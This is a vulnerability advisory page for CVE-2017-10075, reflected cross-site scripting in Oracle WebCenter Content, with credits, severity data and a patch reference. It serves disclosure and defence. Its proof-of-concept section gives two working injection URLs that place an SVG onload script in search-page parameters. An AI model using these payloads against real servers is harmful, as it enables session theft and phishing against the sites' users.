Oracle Web Center 11.1.1.9.0 / 12.2.1.1.0 / 12.2.1.2.0 XSS
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | Oracle WebCenter Content Unauthorized Operation Vulnerability (CNVD-2017-24345) | 20 Jul 201700:00 | – | cnvd |
 | CVE-2017-10075 | 8 Aug 201715:00 | – | cve |
 | CVE-2017-10075 | 8 Aug 201715:00 | – | cvelist |
 | Oracle Content Server - Cross-Site Scripting | 25 Sep 202602:05 | – | nuclei |
 | CVE-2017-10075 | 8 Aug 201715:29 | – | nvd |
 | Oracle Critical Patch Update Advisory - July 2017 | 20 Mar 201800:00 | – | oracle |
 | Oracle WebCenter Content Server Multiple Vulnerabilities (July 2017 CPU) | 21 Jul 201700:00 | – | nessus |
 | CVE-2017-10075 | 8 Aug 201715:29 | – | osv |
 | Design/Logic Flaw | 8 Aug 201715:29 | – | prion |
 | CVE-2017-10075: Undefined Security Weakness | 8 Aug 201700:00 | – | rapid7 |
10
`Oracle Web Center XSS
Details
========================================================================================
Product: Oracle Web Center [Versions 11.1.1.9.0, 12.2.1.1.0, 12.2.1.2.0]
Security-Risk: High
Remote-Exploit: yes
Vendor-URL: https://www.oracle.com/
CVE-ID: CVE-2017-10075
CVSS: 8.2
Credits
========================================================================================
Discovered by: Owais Mehtab & Tayeeb Rana
Affected Products:
========================================================================================
Oracle Web Center [Versions 11.1.1.9.0, 12.2.1.1.0, 12.2.1.2.0]
Description
========================================================================================
Two Cross site scripting (XSS) vulnerabilities have been identified in Oracle Web Center,
the vulnerability can be easily exploited and can be used to steal cookies,
perform phishing attacks and other various attacks compromising the security of a
user.
Proof of Concept
========================================================================================
http://example.com/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX<svg/onload=alert(/xss/)>&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO
http://example.com/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX<svg/onload=alert(/xss/)>
Solution
========================================================================================
Apply Oracle CPU July 2017
--
Regards,
Owais Mehtab & Tayeeb Rana
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Jul 2017 00:00Current
8.3High risk
Vulners AI Score8.3
EPSS0.17558